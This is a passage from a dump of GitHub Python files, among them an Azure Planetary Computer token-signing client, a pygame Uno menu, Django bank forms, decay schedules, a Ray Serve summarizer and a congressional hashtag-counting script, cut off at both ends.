raise ValueError(f\"missing 'token' key in dict: {data}\")\n\n return cls(expiry=expiry, token=token)\n\n def __init__(self, expiry: datetime.datetime, token: str) -> None:\n self.expiry = expiry\n self.token = token\n\n def ttl(self) -> float:\n return (self.expiry - datetime.datetime.now(timezone.utc)).total_seconds()\n\n def __str__(self) -> str:\n return self.token\n\n\nclass PlanetaryComputerClient(HttpClient):\n \"\"\"Open and download assets from Microsoft's Planetary Computer.\n\n Heavily cribbed from\n https://github.com/microsoft/planetary-computer-sdk-for-python/blob/main/planetary_computer/sas.py,\n thanks Tom Augspurger!\n \"\"\"\n\n _cache: Dict[URL, _Token]\n _cache_lock: Lock\n token_request_url: URL\n\n def __init__(\n self,\n session: ClientSession,\n sas_token_endpoint: str = DEFAULT_SAS_TOKEN_ENDPOINT,\n ) -> None:\n super().__init__(session)\n self._cache = dict()\n self._cache_lock = Lock()\n self.sas_token_endpoint = URL(sas_token_endpoint)\n\n async def open_url(\n self,\n url: URL,\n content_type: Optional[str] = None,\n messages: Optional[Queue[Any]] = None,\n ) -> AsyncIterator[bytes]:\n \"\"\"Opens a url and iterates over its bytes.\n\n Includes functionality to sign the url with a SAS token fetched from\n this client's ``sas_token_endpoint``. Tokens are cached on a per-client\n basis to prevent a large number of requests when fetching many assets.\n\n Not every URL is modified with a SAS token. We only modify the url if:\n\n - The url is in Azure blob storage\n - The url is not in the public thumbnail storage account\n - The url hasn't already signed (we check this by seeing if the url has\n SAS-like query parameters)\n\n Args:\n url: The url to open\n content_type: The expected content type\n messages: An optional queue to use for progress reporting\n\n Yields:\n AsyncIterator[bytes]: An iterator over the file's bytes\n \"\"\"\n url = await self._maybe_sign_url(url)\n async for chunk in super().open_url(\n url, content_type=content_type, messages=messages\n ):\n yield chunk\n\n async def assert_href_exists(self, href: str) -> None:\n \"\"\"Asserts that the href exists.\n\n Uses a HEAD request on a signed url.\n \"\"\"\n href = await self._maybe_sign_href(href)\n async with self.session.head(href) as response:\n response.raise_for_status()\n\n async def _sign(self, url: URL) -> URL:\n assert url.host\n account_name = url.host.split(\".\")[0]\n container_name = url.path.split(\"/\", 2)[1]\n token = await self._get_token(account_name, container_name)\n return URL(str(url.with_query(None)) + \"?\" + token, encoded=False)\n\n async def _maybe_sign_url(self, url: URL) -> URL:\n if (\n url.host is not None\n and url.host.endswith(\".blob.core.windows.net\")\n and not url.host == \"ai4edatasetspublicassets.blob.core.windows.net\"\n and not set(url.query) & {\"st\", \"se\", \"sp\"}\n ):\n return await self._sign(url)\n else:\n return url\n\n async def _maybe_sign_href(self, href: str) -> str:\n return str(await self._maybe_sign_url(URL(href)))\n\n async def _get_token(self, account_name: str, container_name: str) -> str:\n url = self.sas_token_endpoint.joinpath(account_name, container_name)\n async with self._cache_lock:\n token = self._cache.get(url)\n if token is None or token.ttl() < 60:\n response = await self.session.get(url)\n response.raise_for_status()\n token = _Token.from_dict(await response.json())\n self._cache[url] = token\n return str(token)\n\n async def __aenter__(self) -> PlanetaryComputerClient:\n return self\n\n async def __aexit__(\n self,\n exc_type: Optional[Type[BaseException]],\n exc_val: Optional[BaseException],\n exc_tb: Optional[TracebackType],\n ) -> Optional[bool]:\n await self.close()\n return await super().__aexit__(exc_type, exc_val, exc_tb)\n","repo_name":"stac-utils/stac-asset","sub_path":"src/stac_asset/planetary_computer_client.py","file_name":"planetary_computer_client.py","file_ext":"py","file_size_in_byte":5100,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"67"} +{"seq_id":"13518238925","text":"import pygame\nfrom screens.menu_screen import MenuScreen\nfrom renders.button import Button\nfrom renders.text_box import TextBox\nfrom utils.constants import MUSIC as M\nfrom utils.json import load_json\n\n\nclass EndMenuScreen(MenuScreen):\n def __init__(self, screen, clock, options, winner, game_info):\n super().__init__(screen, clock, options)\n pygame.mixer.music.pause()\n self.winner = winner\n self.texts += [TextBox(text=\"GAME OVER\", **self.title_params)]\n self.game_info = game_info\n if winner.in_game_achievements is not None:\n in_game_achievement = winner.in_game_achievements\n self.achievements = load_json(\"achievements\")\n self.update_achievements(\n self.achievements, in_game_achievement, self.game_info\n )\n self.save_achievements()\n self.winner_text = TextBox(\n text=f\"{self.winner.get_name()} wins!\",\n **self.rect_params,\n x=\"center\",\n y=200,\n )\n self.texts += [self.winner_text]\n\n B_Y, B_GAP = 350, 150\n buttons_params = self.rect_params | {\"x\": \"center\", \"width\": 300, \"height\": 100}\n self.home_button = Button(y=B_Y, text=\"HOME\", **buttons_params)\n self.quit_button = Button(y=B_Y + B_GAP, text=\"QUIT\", **buttons_params)\n\n self.button_sections += [\n [self.home_button],\n [self.quit_button],\n ]\n\n def button_click_up(self, button):\n super().button_click_up(button)\n if button is not None:\n if button == self.home_button:\n self.open_home()\n elif button == self.quit_button:\n self.quit()\n\n def open_home(self):\n from screens.menus.start_menu import StartMenuScreen\n\n pygame.init()\n pygame.mixer.init()\n pygame.mixer.music.load(M.MENU_BACKGROUND)\n pygame.mixer.music.play(-1)\n start_menu_screen = StartMenuScreen(self.screen, self.clock, self.options)\n start_menu_screen.run()\n\n def update_achievements(\n self,\n achievements,\n in_game_achievements,\n game_info,\n ):\n if game_info[\"mode\"] == \"story\":\n if game_info[\"zone\"] == \"red_zone\":\n achievements[\"single player mode\"][\"story mode\"][\"red\"] += 1\n elif game_info[\"zone\"] == \"green\":\n achievements[\"single player mode\"][\"story mode\"][\"green\"] += 1\n elif game_info[\"zone\"] == \"yellow\":\n achievements[\"single player mode\"][\"story mode\"][\"yellow\"] += 1\n elif game_info[\"zone\"] == \"blue\":\n achievements[\"single player mode\"][\"story mode\"][\"blue\"] += 1\n else:\n achievements[\"single player mode\"][\"single mode\"] += 1\n self.update_in_game_achievements(\n achievements[\"single player mode\"][\"in game\"], in_game_achievements\n )\n\n def update_in_game_achievements(self, target, in_game_achievements):\n if in_game_achievements[\"draw\"] > 10:\n target[\"over 10 draws\"] += 1\n if in_game_achievements[\"uno\"] > 10:\n target[\"over 10 unos\"] += 1\n if in_game_achievements[\"10 turns\"]:\n target[\"in 10 turns\"] += 1\n if in_game_achievements[\"no action card\"]:\n target[\"no action card\"] += 1\n if in_game_achievements[\"after other uno\"]:\n target[\"after other uno\"] += 1\n if in_game_achievements[\"over 15 cards\"]:\n target[\"over 15 cards\"] += 1\n\n def save_achievements(self):\n from utils.json import save_json\n\n save_json(\"achievements\", self.achievements)\n","repo_name":"jrsky723/pygameuno","sub_path":"screens/menus/end_menu_.py","file_name":"end_menu_.py","file_ext":"py","file_size_in_byte":3665,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"14097339498","text":"import sys\n\nMAX_INT = (2 ** 15) - 1\n\n\n# FIXME: The fact that Python's ints are objects are killing me.\ndef to_hex(value: int, num_bits=4, debug_instruction=None, debug_comment=''):\n \"\"\"\n Returns the hex, two's complement value of an integer\n signed extended to the appropriate number of bits.\n :param debug_comment: for debugging purposes\n :param debug_instruction: for debugging purposes\n :param value: integer to be converted\n :param num_bits: num of bits to sign extend\n :return: hex as string\n \"\"\"\n if type(value) != int:\n if debug_instruction:\n debug_comment = debug_instruction.content\n raise SyntaxError(f\"Expected int, got {value}\\n\"\n f\"Instruction: {debug_comment}\")\n\n # To sign extend a positive integer, just zero extend it\n if 0 <= value < (2 ** (num_bits-1)) - 1:\n return zero_extend(value=value, num_bits=num_bits,\n debug_instruction=debug_instruction, debug_comment=debug_comment)\n\n if (num_bits % 4) != 0:\n raise ValueError(f\"Expected num_bits to be a power of 4, but got {num_bits}\")\n hex_str = hex(value & ((1 << num_bits) - 1)) # Convert to two's complement\n hex_str = hex_str[2:] # To strip '0x'\n\n return hex_str\n\n\ndef zero_extend(value: int, num_bits: int, debug_instruction=None, debug_comment=''):\n if (num_bits % 4) != 0:\n raise ValueError(f\"Expected num_bits to be a power of 4, but got {num_bits}\")\n bit_len = value.bit_length()\n if num_bits < bit_len:\n if debug_instruction:\n debug_comment = debug_instruction.content\n raise ValueError(f\"Expected {num_bits} bit int, got {value}\\n\"\n f\"Instruction: {debug_comment}\")\n num_hex_digits = num_bits // 4\n hex_str = hex(value)[2:] # Need [2:] to strip '0x'\n return hex_str.rjust(num_hex_digits, '0')\n\n\ndef from_twos_complement(value, num_bits=8):\n max_val = (1 << num_bits - 1) - 1\n all_f = (1 << num_bits) - 1\n if value <= max_val:\n return value\n else:\n ones_complement = value ^ all_f\n complement = ones_complement + 1\n return -complement\n\n\ndef to_twos_complement(value, num_bits=8):\n if value >= 0:\n return value\n else:\n all_f = (1 << num_bits) - 1\n value_inv = - value\n ones_complement = value_inv ^ all_f\n return ones_complement + 1\n\n\ndef print_as_bin(machine_code: str):\n \"\"\"\n Prints 4-digit hex instructions in their binary form.\n Used for debugging purposes.\n :param machine_code: String, something like '43ff'\n :return: None, but prints the binary forms of the instruction\n \"\"\"\n assert len(machine_code) == 4, \"Instructions should be 4 hex digits\"\n\n print(machine_code, end=' : ')\n\n for hex_char in machine_code:\n bin_str = bin(int(hex_char, 16))[2:]\n bin_str = bin_str.rjust(4, '0')\n print(bin_str, end=' ')\n print()\n\n\ndef arg_parse(file_extension='', enforce_second=False):\n \"\"\"\n Helper function to parse in arguments.\n :param file_extension: .asm or .mif\n :param enforce_second: to enforce second argument\n :return: input_file, debug_mode\n \"\"\"\n arg_len = len(sys.argv) - 1\n input_file, second_arg = '', ''\n if arg_len > 2 or arg_len <= 0:\n raise IOError(f\"Expected one or two arguments, \"\n f\"but got {arg_len}\\n\"\n f\"Your arguments:\"\n f\"{sys.argv[1:]}\")\n else:\n input_file = sys.argv[1]\n\n if not input_file.endswith(file_extension):\n raise IOError(f\"Expected file extension \"\n f\"{file_extension}, \"\n f\"but got {input_file}\")\n\n if enforce_second:\n if arg_len != 2:\n raise IOError(f\"Expected two arguments, \"\n f\"but got {arg_len}\\n\"\n f\"Your arguments:\"\n f\"{sys.argv[1:]}\")\n\n if arg_len == 2:\n second_arg = sys.argv[2]\n\n return input_file, second_arg\n","repo_name":"wonhyukchoi/asmfpga","sub_path":"asm_and_emu/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8250724027","text":"from django.forms import ModelForm\nfrom django import forms\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth.models import User\nfrom banks.models import Bank, Branch\nfrom django.core.validators import validate_email\nfrom django.core.exceptions import ValidationError\n\n\nclass BankForm(ModelForm):\n name = forms.CharField()\n swift_code = forms.CharField()\n description = forms.CharField()\n\n class Meta:\n model = Bank\n fields = [\"name\", \"swift_code\", \"inst_num\", \"description\"]\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.fields['name'].required = False\n self.fields['swift_code'].required = False\n self.fields['inst_num'].required = False\n self.fields['description'].required = False\n\n def clean(self):\n cleaned_data = super().clean()\n name = cleaned_data.get(\"name\")\n swift_code = cleaned_data.get(\"swift_code\")\n inst_num = cleaned_data.get(\"inst_num\")\n description = cleaned_data.get(\"description\")\n\n if name == \"\":\n self.add_error(\"name\", \"This field is required\")\n\n if swift_code == \"\":\n self.add_error(\"swift_code\", \"This field is required\")\n\n if inst_num == \"\":\n self.add_error(\"inst_num\", \"This field is required\")\n\n if description == \"\":\n self.add_error(\"description\", \"This field is required\")\n\n return cleaned_data\n\n\nclass BranchForm(ModelForm):\n\n class Meta:\n model = Branch\n fields = [\"name\", \"transit_num\", \"address\", \"email\", \"capacity\"]\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.fields['name'].required = False\n self.fields['transit_num'].required = False\n self.fields['address'].required = False\n self.fields['email'].required = False\n self.fields['capacity'].required = False\n\n def clean(self):\n cleaned_data = super().clean()\n name = cleaned_data.get(\"name\")\n transit_num = cleaned_data.get(\"transit_num\")\n address = cleaned_data.get(\"address\")\n email = cleaned_data.get(\"email\")\n capacity = cleaned_data.get(\"capacity\")\n\n if name == \"\":\n self.add_error(\"name\", \"This field is required\")\n\n if transit_num == \"\":\n self.add_error(\"transit_num\", \"This field is required\")\n\n if address == \"\":\n self.add_error(\"address\", \"This field is required\")\n\n if email == \"\":\n self.add_error(\"email\", \"This field is required\")\n else:\n try:\n validate_email(email)\n except ValidationError:\n pass\n\n return cleaned_data\n","repo_name":"Haarowww/bankwithbranches","sub_path":"A3/banks/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30066306608","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n#################################### PROGRAM: TO SORT A LINK LIST ##################################################\n\n###################################### TIME LIMIT EXCEEDED ###########################################\nclass Solution(object):\n def sortList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n mini = float(\"inf\")\n h = head\n if (head == None):\n return None\n if (head.next == None):\n return head\n prev = None\n while (h != None):\n st = h\n # print()\n # print(\"h\",h.val)\n mini_st = st.val\n mini = float(\"inf\")\n\n # find the minimum number\n while (st != None):\n mini = min(mini, st.val)\n st = st.next\n # print(mini)\n # check whether is there any change\n if (mini == mini_st):\n prev = h\n h = h.next\n continue\n st = h\n while (st.next != None and st != None):\n if (st.next.val == mini):\n ptr = st.next\n st.next = ptr.next\n ptr.next = h\n if (h == head):\n head = ptr\n h = head\n # h.next=ptr\n else:\n prev.next = ptr\n h = ptr\n continue\n else:\n st = st.next\n prev = h\n h = h.next\n\n # temp=head\n # l=[]\n # while(temp!=None):\n # l.append(temp.val)\n # temp=temp.next\n # print(\"final result after iter\",l)\n\n return head\n\n\n###################################################################################################################\ndef sortList(self, head):\n if head is None or head.next is None:\n return head\n middle_node = self.find_middle_node(head)\n right_head = middle_node.next\n middle_node.next = None\n return self.merge(self.sortList(head), self.sortList(right_head))\n\n\ndef merge(head1, head2):\n dummy = ListNode(None)\n node = dummy\n while head1 and head2:\n if head1.val < head2.val:\n node.next = head1\n head1 = head1.next\n else:\n node.next = head2\n head2 = head2.next\n node = node.next\n\n node.next = head1 or head2\n return dummy.next\n\n\ndef find_middle_node(head):\n slow, fast = head, head\n while fast and fast.next and fast.next.next:\n fast = fast.next.next\n slow = slow.next\n return slow\n","repo_name":"meetgadoya/leetcode-sol","sub_path":"problem148.py","file_name":"problem148.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2787541017","text":"from abc import abstractmethod\nimport numpy as np\n\nfrom surreal.makeable import Makeable\n\n\nclass Decay(Makeable):\n \"\"\"\n A time-dependent or constant parameter that can be used to implement learning rate or other decaying parameters.\n \"\"\"\n def __init__(self, from_=1.0, to_=0.0, *, max_time_steps=None, begin_time_percentage=0.0, end_time_percentage=1.0,\n resolution=10000, **kwargs):\n \"\"\"\n Args:\n from_ (float): The constant value or start value to use.\n to_ (Optional[float]): The value to move towards if this parameter is time-dependent.\n\n max_time_steps (Optional[int]): The maximum number of time-steps to use for percentage/decay calculations.\n If not provided, the time-step percentage must be passed into API-calls to `get`.\n\n begin_time_percentage (float): The time_percentage value at which the decay begins. Before this,\n the decay value returns `from_`.\n end_time_percentage (float): The time_percentage value at which the decay ends.\n\n resolution (int): The resolution to use as \"max time steps\" value when calculating the current time step\n from the `time_percentage` parameter. The formula is: current_ts=int(time_percentage * resolution).\n \"\"\"\n super().__init__()\n\n #assert self.backend == \"python\"\n\n self.from_ = kwargs.get(\"from\", from_)\n self.to_ = kwargs.get(\"to\", to_)\n\n # In case time_percentage is not provided in a call, try to calculate it from a c'tor provided\n # `max_time_steps` value.\n self.max_time_steps = max_time_steps\n self.begin_time_percentage = begin_time_percentage\n self.end_time_percentage = end_time_percentage\n\n self.current_time_step = -1 # The current time step (counter for how often `call` was called).\n self.resolution = resolution # Time resolution (should be some high integer, but it's not a crucial param).\n\n def __call__(self, time_percentage=None):\n self.current_time_step += 1\n if time_percentage is None:\n assert self.max_time_steps\n # Cap to 1.0.\n time_percentage = min(self.current_time_step / self.max_time_steps, 1.0)\n\n # Consider begin/end values and scale accordingly or return shortcut (lower/upper stairs-areas of function).\n value = np.where(\n time_percentage < self.begin_time_percentage,\n self.from_,\n np.where(\n time_percentage > self.end_time_percentage,\n self.to_,\n self.call(\n (time_percentage - self.begin_time_percentage) /\n (self.end_time_percentage - self.begin_time_percentage)\n )\n )\n )\n return float(value) if value.shape == () else value\n\n @abstractmethod\n def call(self, time_percentage):\n \"\"\"\n Place decay logic here based on given time_percentage value. `time_percentage` ranges from 0.0 to 1.0.\n\n Args:\n time_percentage (float): The time-percentage value (starting from 0.0 e.g. at beginning of learning to\n 1.0 at the end of learning).\n\n Returns:\n float: The decayed float.\n \"\"\"\n raise NotImplementedError\n\n #def placeholder(self):\n # \"\"\"\n # Creates a connection to a tf placeholder (completely outside the RLgraph meta-graph).\n # Passes that placeholder through one run of our `_graph_fn_get` function and then returns the output op.\n # That way, this parameter can be used inside a tf.optimizer object as the learning rate tensor.\n\n # Returns:\n # The tf op to calculate the learning rate from the `time_percentage` placeholder.\n # \"\"\"\n # assert self.backend == \"tf\" # We must use tf for this to work.\n # #assert self.graph_builder is not None # We must be in the build phase.\n # # Get the placeholder (always the same!) for the `time_percentage` input.\n # placeholder = self.graph_builder.get_placeholder(\"time_percentage\", float, self)\n # # Do the actual computation to get the current value for the parameter.\n # op = self.api_methods[\"get\"].func(self, placeholder)\n # # Return the tf op.\n # return op\n\n @classmethod\n def make(cls, spec=None, **kwargs):\n \"\"\"\n Convenience method to allow for simplified list/tuple specs (apart from full dict specs):\n For example:\n [from, to] <- linear decay\n [\"linear\", from, to]\n [\"polynomial\", from, to, (power; default=2.0)?]\n [\"exponential\", from, to, (decay_rate; default=0.1)?]\n \"\"\"\n map_ = {\n \"lin\": \"linear-decay\",\n \"linear\": \"linear-decay\",\n \"polynomial\": \"polynomial-decay\",\n \"poly\": \"polynomial-decay\",\n \"exp\": \"exponential-decay\",\n \"exponential\": \"exponential-decay\"\n }\n # Single float means constant parameter.\n if isinstance(spec, (float, int)):\n spec = dict(constant_value=float(spec), type=\"constant\")\n # List/tuple means simple (type)?/from/to setup.\n elif isinstance(spec, (tuple, list)):\n # from and to are given.\n if len(spec) == 2:\n spec = dict(from_=spec[0], to_=spec[1], type=\"linear-decay\")\n # type, from, and to are given.\n elif len(spec) == 3:\n spec = dict(from_=spec[1], to_=spec[2], type=map_.get(spec[0], spec[0]))\n # type, from, to, and some c'tor param are given (power or decay-rate).\n elif len(spec) == 4:\n type_ = map_.get(spec[0], spec[0])\n spec = dict(from_=spec[1], to_=spec[2], type=type_)\n if type_ == \"polynomial-decay\":\n spec[\"power\"] = spec[3]\n elif type_ == \"exponential-decay\":\n spec[\"decay_rate\"] = spec[3]\n\n # Nothing special found? -> Pass on to Makeable to handle.\n return super(Decay, cls).make(spec, **kwargs)\n\n\nclass Constant(Decay):\n \"\"\"\n Always returns a constant value no matter what value `time_percentage`.\n \"\"\"\n def __init__(self, constant_value, **kwargs):\n super().__init__(from_=constant_value, to_=constant_value, **kwargs)\n\n def call(self, time_percentage):\n return self.from_\n\n #def placeholder(self):\n # return self.from_\n\n\nclass PolynomialDecay(Decay):\n \"\"\"\n Returns the result of:\n to_ + (from_ - to_) * (1 - `time_percentage`) ** power\n \"\"\"\n def __init__(self, from_=1.0, to_=0.0, power=2.0, **kwargs):\n \"\"\"\n Args:\n power (float): The power with which to decay polynomially (see formula above).\n \"\"\"\n super().__init__(from_, to_, **kwargs)\n\n self.power = power\n\n def call(self, time_percentage):\n if False: #self.backend == \"tf\":\n # Get the fake current time-step from the percentage value.\n current_time_step = int(self.resolution * time_percentage)\n return tf.train.polynomial_decay(\n learning_rate=self.from_, global_step=current_time_step,\n decay_steps=self.resolution,\n end_learning_rate=self.to_,\n power=self.power\n )\n else:\n return self.to_ + (self.from_ - self.to_) * (1.0 - time_percentage) ** self.power\n\n\nclass LinearDecay(PolynomialDecay):\n \"\"\"\n Same as polynomial with power=1.0. Returns the result of:\n from_ - `time_percentage` * (from_ - to_)\n \"\"\"\n def __init__(self, from_=1.0, to_=0.0, **kwargs):\n super().__init__(from_, to_, power=1.0, **kwargs)\n\n\nclass ExponentialDecay(Decay):\n \"\"\"\n Returns the result of:\n to_ + (from_ - to_) * decay_rate ** `time_percentage`\n \"\"\"\n def __init__(self, from_=1.0, to_=0.0, decay_rate=0.1, **kwargs):\n \"\"\"\n Args:\n decay_rate (float): The percentage of the original value after 100% of the time has been reached (see\n formula above).\n >0.0: The smaller the decay-rate, the stronger the decay.\n 1.0: No decay at all.\n \"\"\"\n super().__init__(from_, to_, **kwargs)\n\n self.decay_rate = decay_rate\n\n def call(self, time_percentage):\n if False: # self.backend == \"tf\":\n # Get the fake current time-step from the percentage value.\n current_time_step = int(self.resolution * time_percentage)\n return tf.train.exponential_decay(\n learning_rate=self.from_ - self.to_, global_step=current_time_step,\n decay_steps=self.resolution,\n decay_rate=self.decay_rate\n ) + self.to_\n else:\n return self.to_ + (self.from_ - self.to_) * self.decay_rate ** time_percentage\n","repo_name":"ducandu/surreal","sub_path":"surreal/components/misc/decay_components.py","file_name":"decay_components.py","file_ext":"py","file_size_in_byte":8897,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"20501968428","text":"# Erica Liao\r\n# For my thesis on how members of congress use hashtags,\r\n# and what this may indicate about party coordination,\r\n# lobbying efforts, and activism.\r\n#\r\n# Here, I am creating a table where rows = each MOC,\r\n# columns are each hashtag, and I am listing how often\r\n# each member of congress uses each hashtag.\r\n\r\nimport csv\r\nimport re\r\n\r\n# this file has tweets w/ the format of\r\n# twitter handle, tweet id, date & time, tweet text\r\nwith open('output/tweets_05to10_2016.csv', 'rU') as f:\r\n\treader = csv.reader(f)\r\n\ttweets_list = list(reader)\r\nf.close\r\n\r\n# this file is a list of all hashtags that have been used\r\n# in tweets from the above file (previously extracted in python)\r\nwith open('output/hashtags_final.csv', 'rU') as f:\r\n\treader = csv.reader(f)\r\n\thashtag_list = list(reader)\r\nf.close\r\n\r\n# this file is a list of the twitter handles of all members of congress\r\nwith open('output/congress_114.csv', 'rU') as f:\r\n\treader = csv.reader(f)\r\n\tmoc_list = list(reader)\r\nf.close\r\n\r\n### setting up table /////////////\r\n# 514 membes of congress w/ twitter accounts,\r\n# 7636 hashtags being studied\r\ntable = []\r\nnew = []\r\nfor i in range (0, 514):\r\n for j in range (0, 7636):\r\n new.append(0)\r\n table.append(new)\r\n new = []\r\n### //////////////////////////////\r\n\r\n### create dictionary where key = hashtag, value = hashtag's column index\r\nhashtags = {}\r\nindex = 1\r\n\r\nfor hashtag in hashtag_list:\r\n\tif hashtag:\r\n\t\thashtags[hashtag[0]] = index\r\n\t\ttable[0][index] = hashtag[0]\r\n\t\tindex = index + 1\r\n### /////////////////////////////////////////////////////////////////////\r\n\r\n### create dictionary where key = MOC twitter handle, value = MOC's row\r\nmocs = {}\r\nindex = 1\r\n\r\nfor moc in moc_list:\r\n\tif moc:\r\n\t\tmocs[moc[0]] = index;\r\n\t\ttable[index][0] = moc[0]\r\n\t\tindex = index + 1\r\n### /////////////////////////////////////////////////////////////////////\r\n\r\n### get hashtags in tweet list //////////////////////////////////////////\r\n# extracting all hashtags used in a tweet, appending as a list to the tweet\r\nall_tweets = []\r\nfor tweet in tweets_list:\r\n\tif tweet:\r\n\t\ttweet_text = tweet[3]\r\n\t\ttweet_hashtags = re.findall(r'#\\w*', tweet_text)\r\n\t\ttweet[4] = tweet_hashtags\r\n\t\tall_tweets.append(tweet)\r\n### /////////////////////////////////////////////////////////////////////\r\n\r\n\r\n# iterate through all tweets\r\nfor tweet in all_tweets:\r\n\tif tweet:\r\n\t\tif tweet[4]:\r\n\t\t\t# iterate through all hashtags in tweet (if they exist)\r\n\t\t\tfor i, hashtag in enumerate(tweet[4]):\r\n\t\t\t\t# because #BLM and #blm have the same meaning,\r\n\t\t\t\t# all hashtags standardized to all lowercase\r\n\t\t\t\thashtag_string = tweet[4][i].lower()\r\n\r\n\t\t\t\tif hashtag_string in hashtags:\r\n\t\t\t\t\t# get hashtag's index from dict,\r\n\t\t\t\t\t# get member of congress' index from dict\r\n\t\t\t\t\thashtag_index = hashtags[hashtag_string]\r\n\t\t\t\t\tmoc_index = mocs[tweet[0]]\r\n\r\n\t\t\t\t\t# if there's already a value, increment up\r\n\t\t\t\t\t# otherwise, give value of 1\r\n\t\t\t\t\tif table[moc_index][hashtag_index]:\r\n\t\t\t\t\t\ttable[moc_index][hashtag_index] = table[moc_index][hashtag_index] + 1\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\ttable[moc_index][hashtag_index] = 1\r\n\r\n# write out table to csv file\r\nwith open('output/mocs_and_hashtag_counts.csv', 'w') as output:\r\n\twriter = csv.writer(output)\r\n\twriter.writerows(table)","repo_name":"ealiao/congressional-hashtags","sub_path":"get_hashtag_table.py","file_name":"get_hashtag_table.py","file_ext":"py","file_size_in_byte":3241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35176523751","text":"import numpy as np\n\n\n\nclass Conv2D:\n def __init__(self,units,kernel_size=(3,3),stride=2):\n self.input_array = None\n self.kernel_size = kernel_size\n self.units = units\n self.stride = stride\n self.weights = []\n self.result = []\n self.name = \"Conv2D\"\n\n def calculate(self):\n self.weights = np.random.rand(self.units, self.kernel_size[0], self.kernel_size[1])\n \n i, j, row, col = 0, 0, 0, 0\n while i<= self.input_array.shape[1] and i+self.kernel_size[1] <= self.input_array.shape[1]:\n while j<= self.input_array.shape[0] and j+self.kernel_size[0] <= self.input_array.shape[0]:\n self.result.append(list(np.array([np.sum(np.multiply(self.input_array[i:i+3,j:j+3],weight)) for weight in self.weights])))\n j = j + self.stride\n if i == 0:\n col = col + 1\n i = i + self.stride\n j = 0\n row = row + 1\n\n self.result = np.array(self.result).reshape(self.units,row,col)\n return self.result\n\n","repo_name":"abhikal/mudkip","sub_path":"layers/Conv2D.py","file_name":"Conv2D.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"29481538204","text":"from fastapi import FastAPI\nfrom ray import serve\nimport torch\n\n# 1: Define a FastAPI app and wrap it in a deployment with a route handler.\napp = FastAPI()\n\n@serve.deployment(\n route_prefix=\"/\",\n ray_actor_options={\"num_gpus\": 1},\n)\n@serve.ingress(app)\nclass SummaryDeployment:\n # FastAPI will automatically parse the HTTP request for us.\n def __init__(self):\n from transformers import BartForConditionalGeneration, BartTokenizer\n self.device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n model_name = \"facebook/bart-large-cnn\"\n self.tokenizer = BartTokenizer.from_pretrained(model_name)\n self.model = BartForConditionalGeneration.from_pretrained(model_name).to(\n self.device\n )\n\n # Reference: https://github.com/amaiya/ktrain/blob/master/ktrain/text/summarization/core.py\n @app.get(\"/summarize\")\n def summarize(self, text: str) -> str:\n max_length = 50\n min_length = 10\n no_repeat_ngram_size = 3\n length_penalty = 2.0\n num_beams = 4\n\n with torch.no_grad():\n answers_input_ids = self.tokenizer.batch_encode_plus(\n [text], return_tensors=\"pt\", truncation=True, max_length=max_length, min_length=min_length\n )[\"input_ids\"].to(self.device)\n summary_ids = self.model.generate(\n answers_input_ids,\n num_beams=num_beams,\n length_penalty=length_penalty,\n max_length=max_length,\n min_length=min_length,\n no_repeat_ngram_size=no_repeat_ngram_size,\n )\n\n exec_sum = self.tokenizer.decode(\n summary_ids.squeeze(), skip_special_tokens=True\n )\n return exec_sum\n\ndeployment = SummaryDeployment.bind()\n","repo_name":"ray-project/serve_config_examples","sub_path":"text_summarizer/text_summarizer.py","file_name":"text_summarizer.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"37192172960","text":"import numpy as np\n\nfrom sklearn import cross_validation\n\nimport Orange.data\nfrom Orange.data import Domain, Table\n\n\ndef is_discrete(var):\n return isinstance(var, Orange.data.DiscreteVariable)\n\n\ndef is_continuous(var):\n return isinstance(var, Orange.data.ContinuousVariable)\n\n\nclass Results:\n \"\"\"\n Class for storing predicted in model testing.\n\n .. attribute:: data\n\n Data used for testing (optional; can be `None`). When data is stored,\n this is typically not a copy but a reference.\n\n .. attribute:: row_indices\n\n Indices of rows in :obj:`data` that were used in testing, stored as\n a numpy vector of length `nrows`. Values of `actual[i]`, `predicted[i]`\n and `probabilities[i]` refer to the target value of instance\n `data[row_indices[i]]`.\n\n .. attribute:: nrows\n\n The number of test instances (including duplicates).\n\n .. attribute:: models\n\n A list of induced models (optional; can be `None`).\n\n .. attribute:: actual\n\n Actual values of target variable; a numpy vector of length `nrows` and\n of the same type as `data` (or `np.float32` if the type of data cannot\n be determined).\n\n .. attribute:: predicted\n\n Predicted values of target variable; a numpy array of shape\n (number-of-methods, `nrows`) and of the same type as `data` (or\n `np.float32` if the type of data cannot be determined).\n\n .. attribute:: probabilities\n\n Predicted probabilities (for discrete target variables); a numpy array\n of shape (number-of-methods, `nrows`, number-of-classes) of type\n `np.float32`.\n\n .. attribute:: folds\n\n A list of indices (or slice objects) corresponding to rows of each\n fold; `None` if not applicable.\n \"\"\"\n\n # noinspection PyBroadException\n # noinspection PyNoneFunctionAssignment\n def __init__(self, data=None, nmethods=0, nrows=None, nclasses=None,\n store_data=False):\n \"\"\"\n Construct an instance with default values: `None` for :obj:`data` and\n :obj:`models`.\n\n If the number of rows 